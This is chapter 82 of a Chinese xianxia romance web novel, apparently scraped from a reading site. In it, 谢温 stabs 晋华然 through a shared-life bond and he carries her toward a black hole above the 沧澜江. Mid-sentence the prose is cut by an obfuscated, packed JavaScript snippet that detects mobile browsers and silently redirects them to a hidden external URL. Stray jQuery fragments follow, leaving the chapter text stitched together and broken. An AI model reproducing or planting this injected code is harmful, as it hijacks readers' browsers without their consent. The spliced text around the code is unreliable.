82. 第 82 章

作品:《无情道师尊攻略我

    雪顶上,月亮又大又圆,照耀着整片雪山,每片雪花都晶莹透亮,熠熠生辉。粒粒飞雪与月光交融。


    两个人影倏地凭空出现了雪顶高处,在这个细雪纷飞,明月漫天的晚夜中,晋华然立着,身姿落拓,像是站在了虚空之外。他一手怀抱着无力的谢温,死死盯着茫茫然的远处,身影在雪中月下,兀自动荡。


    他真的带谢温出了那个记忆卷轴。


    谢温想起来在卷轴里,看见的最后一幕,楚衔越破碎的目光,飞奔向她的身影,一切的一切都极速飞逝,越来越小,最终在谢温眼底彻底化作一个点。


    谢温试图手中凝起灵力,可是带待用尽全力,满头大汗也没能凝起那么一丝丝微小的灵力。终于,她手脱力地垂在身侧。


    晋华然望着远处,道,“阿温,别要白费力气。老老实实待在我怀中。“


    说着,他忽然紧紧抱着谢温,谢温被迫和他面颊贴着面颊,他的脸比谢温想象中还要冷。晋华然还用脸蹭了蹭她,像是小狗一样。


    雪顶之上那抹月那么大那么亮,雪地上明亮如白昼,晋华然就扶着谢温缓缓坐下,他让谢温靠在自己的肩头,两人像是一对神仙眷侣,坐在雪顶上,一同赏着月亮。


    晋华然:“阿温,今天的月亮好看吗?”


    谢温缓缓说:“真圆,亮得有点睁不开眼。”


    “几千年前,羽族人的月亮也有这么圆吗?”


    晋华然:“有的。不过很快,我们的族人也能看到这样的月亮。”


    “我为我们的族人寻了一处好地方。这回真的是一处没有打搅的好居所,在南海不周山。据说是距离天界最近的地方。”


    谢温:“可是距离天界最近的地方不是云隐神山吗?”


    晋华然失声笑了下,说:“云隐神山那是骗人的,夸大其词,弄得神秘兮兮,却只不过是一座被结界隐藏住的山。他们云隐神山有弟子守在瞭望台上,看哪个人顺眼就让哪个人能透过结界看见神山。”


    谢温道:“你怎么知道的?”


    晋华然笑了下,“这不是很明显吗?”


    谢温扯了扯嘴角:“好好好,你一眼就看出来了,你很厉害咯。”


    晋华然忽然被谢温一句话说得有些不知所措。谢温的温柔和笑意对他来说太太稀少珍贵了,从前他不想要只是因为他得不到。得不到,也想毁掉她对别人的温柔和笑意。而今,他第一次尝到,原来是这种感觉。这么美好。


    他耳根渐渐红了,别过头,良久忽然说:“到时候我们一起和族人去南海吧。在那里,过不用再东躲西藏人人喊打的日子,没有人歧视你憎恨你,我们可以再见到我们的亲人朋友。阿温,他们在那里等我们。他们一直都在等着我们带他们去那个好地方,去快快乐乐地过一辈子。不要再时时刻刻经受痛苦和煎熬。”


    “阿温,我们一起去南海吧。”晋华然转过头,看着谢温,重复这一句。话语说得太满太美好,像是在说梦话。


    谢温说:“好,若是真能的话。我当然去。”


    这时刻,她看见月光下,他明晰的眸子颤动了下,似乎没想到谢温会答应得如此利落,这让晋华然感觉这更像是一场梦了。他下意识握紧了谢温的手,感受到她的温度她真真实实的存在,才稍稍松口气,这不是梦。


    谢温垂在身侧的手忽然被另一只手攥住,她一怔,他的手和他体温一样冰凉,她抬眼看他,晋华然遥望不知名的远处,眸子不知是被雪反射的光映亮的还是本来就这样亮。谢温第一次看见他拥有这样明晰的眼眸。


    晋华然转头也看谢温,谢温动作一顿,以为他察觉到了什么,然而他只是对谢温笑了笑,“天快要亮了。我们一起去吧。”


    谢温疑惑道:“去哪儿?”


    晋华然:“去解救族人,去那个没有痛没有血的好地方。”


    谢温牵扯起嘴角,在晋华然的目光下缓缓点头。“你要献祭我吗?”想要彻底打开天命锁,需要一个羽族人的献祭。


    从前晋华然还不知道谢温也是羽族人,他打算自己一跃而上,献祭自己。而如今他知道谢温也是羽族人,也可以献祭。同时她还落在他手中,仍由他摆布。


    他又会如何抉择?


    谢温静静坐在雪山之巅上,天上的圆月渐渐锋锐,天色也渐渐转为暮蓝,月亮变为很小一弯,像是一支小小的铁钩,钳在将明未明的天幕上,风雪变大了,谢温便是在这风雪中听见晋华然的声音,这声音彷佛走了很远的路才到达谢温耳畔。


    他说:“不会。”


    谢温手一颤。


    晋华然没看她,也没有看见,贴着谢温脖颈的那颗红色血珠血色灵光宛若丝线,一根根缓缓渗入谢温体内,她额间那抹红色的傀儡咒印也渐渐淡去,随着天边那轮弯月彻底被升起来的光线盖过锋芒,谢温额间咒印也缓缓散去。


    血珠的灵力尽数灌入谢温体内,硬生生撑开了傀儡咒的枷锁。


    谢温软下去的身体凝满了力量,她手中悄无声息召出摇芳。


    晋华然直直地看着这天彻底亮起来,风雪越来越大,雪粒不断拍着他的脸,他回过头对谢温说,“我们走吧,”


    话音落下的同时响起咔擦一声,在这瞬息之间,谢温用摇芳狠狠扎进晋华然的胸口,这次谢温没留任何余地,一扇子,贯穿了他的心脏。


    然而流血的,却是两个心脏。


    她知道她胸口也出现同样的伤,她的血和他一样从那里流出来,雪顶上瞬息间一片血红,从天幕上方往下俯瞰,像是雪地上伸盛放的一朵鲜艳的血色花朵。


    晋华然的眼由茫然转为恨意,他死死盯着谢温,眸子里的光被一层黑暗彻底笼罩,他像是天边那轮月亮,天亮了就彻底暗淡了。晋华然握住谢温捅他的只手,不知是因为太用力了还是太痛了,手背和脖子上的青筋都浮现出来,额头也冒出细汗。


    晋华然攥着摇芳扇,眼睛眨也不眨地拔出扇子,啪嗒一声,浸满血液的扇子被随手丢在一边。


    晋华然盯着谢温,死死攥着她的手,谢温有些被晋华然如此模样吓到了,他像是下一秒要生吞活剥了她。


    谢温想要后退,晋华然却上前,逼近,满是鲜血的双手倏地捧着谢温的脑袋,晋华然双目充血,狠狠道:“你疯了!为了杀我不惜为我陪葬?行啊?那就一起去死!能和你死在一起,我很乐意。你生生世世都摆脱不了我的!你刚说的话都是骗我的?你骗我!”


    谢温奄奄一息地强撑着身子,冷笑道:“骗了你又如何?你别再自欺欺人地做白日梦了。若是这个世界都毁灭,我们的族人的处境又会比人族好到哪里去?我们也一样都不得好过!你刚才说的那些话都是不可能的!”


    “有可能的!”他忽然嚎了一声,将谢温的声音盖过去了,似乎想要掩盖去某种事实,继续欺骗自己。晋华然喃喃道:“阿温,我告诉你!就算不可能。只要我们不得好过,他们人族也别想好过!”


    紧接着晋华然从身上搜出两颗续命丹药,一颗自己吞下一颗强硬地塞进谢温嘴里,这种丹药不是真正意义上的续命丹,只能在人将死之际延续几个时辰的寿命而已。


    晋华然重新在谢温身上施下傀儡咒,他捞起谢温,抱着仿若一滩水的她,缓缓站起来,目光投向沧澜江的方向。站在雪山之巅,隐约可以看见在沧澜江上方,那亘古不变地悬着的黑洞。


    他俯身,看着怀中的谢温,她胸口的洞不断溢出血,两个人的伤口上流出来血水几乎将衣服全部浸湿,黏黏腻腻,在严寒的雪山被冷风刮蹭着,渐渐血水结成冰霜。


    晋华然俯身,脸贴着谢温的脸,这次两个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409919|176033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人的脸都是冰凉的,像两块冰块撞在一起。血和泪也混杂着,交融交汇,弄得两人满脸都黏黏糊糊的。


    谢温不知道是他眼睛里流出的泪还是自己的泪,反正已经将两个人的面部都染湿了。


    晋华然喃喃道:“时候到了。阿温,我们走吧。”


    转瞬之间,飞跃千山万里,谢温看见了雪顶之上,那朵盛开的巨大的“花朵”,在她模糊的视线下,愈来愈小,直到化作一抹红点,磅礴的雪山也离她远去了,消失在不断闪退的云雾之后。


    谢温头脑沉重,她直觉自己在濒死的边缘反复横跳,她没有力气去呼吸,连抬眼去看满晋华然一眼都用尽了全部力气。


    然而,她只看见他紧绷的下颚线,凌厉坚毅。


    谢温等待着死往彻底降临,她再没有其他办法了,能做的都做了,却仍然无法阻止这一切。


    她最后是静静地等待着自己被他祭锁,接下来,是彻彻底底地死心。


    谢温用着最后力气问晋华然,“化灵佩不是被毁了吗?”你怎么能打开第一层锁的?她之前见晋华然一副信誓旦旦的模样,也猜到了,化灵佩不会这么简单就被销毁。他肯定留了一手。


    晋华然道:“你这是在操心我吗?”


    谢温盯着他,不想多费力气,晋华然也不逗她了,道:“我早就打开了第一道锁,在结界破碎之时,便将化灵佩祭出去了。否则,你们是看不到沧澜江上的那个黑洞的。而后来你们毁坏的那枚化灵佩当然是假的。”


    谢温扯了扯嘴角,她就知道。他这个人老谋深算,藏着八千个心眼子。他这个人若是没有达到目的,就是死了也要爬出来的。


    清晨的沧澜江边界,万事万物开始恢复运转,江边的渡船陆续缓缓驶向两岸,一趟趟,来来回回。自从谢温和楚衔越将沧澜江水引入各家各户后,江水水位都低了不少,但同时更多人因着受到了沧澜江水的庇佑,因而对沧澜江更加心怀敬畏,时常有人前来祭拜。横渡沧澜江的人也随之变多,沧澜江边的停泊的渡船拥挤起来,天一亮就一轮轮驶向两岸。


    就是这时,晋华然携着谢温,飞跃沧澜江上方。下方,有些站在渡船的人看见了他们,一开始只以为是南飞的雁,可再仔细一眼,是两个人啊!飞跃而过的时候,似乎还有血水掉落在甲板上,鲜红醒目。


    沧澜江上方一向不让御剑飞行,再经历那次事件后,人们更是把沧澜江奉为神,是神在保佑他们,庇护他们。他们更忌讳直接飞跃沧澜江,认为这样会神灵。


    那人惊叫着,“有人飞在上面!”


    “他们要做什么!”


    越来越多的人目睹了这一幕,大家纷纷仰头望向天际。


    云宴现今已经暂代楚衔越接管天衍剑宗的各项事务,他此次出行是又接到了山下的除邪祟的祈愿。自从结界被毁之后,人间邪物横行,山下的请愿也比往日增加了一倍。


    云宴只要得空就接受请愿,下山除邪,这些时日,他飞跃千里,去过很多地方,他不停地接受祈愿,辗转各地,只有他自己知道,在这同时,他也在企图寻找到他师尊师姐的足迹。


    他渐渐地试图去理解他们,接受他们。但是他们却永远不会再回来,永远不会再见他一眼了。


    云宴坐在船舱中,准备横渡沧澜江去到幽州之地,而此时外面的躁动令他无法安定心神,他暴躁地想,外面这群人简直无聊透,不过是有人飞跃沧澜江而已,至于如此兴师动众大张旗鼓么?


    他烦躁地掀开帘子,随意往天上瞥了一眼,就是那一眼,令他心身震颤,不知看见了什么,瞳孔骤然间缩得极小极小。在他眸中,映出了晋华然携带着谢温,朝着黑洞中心,纵身一跃的身影。


    一切发生在瞬息之间,他什么都来不及做,甚至来不及叫出那句“师姐!”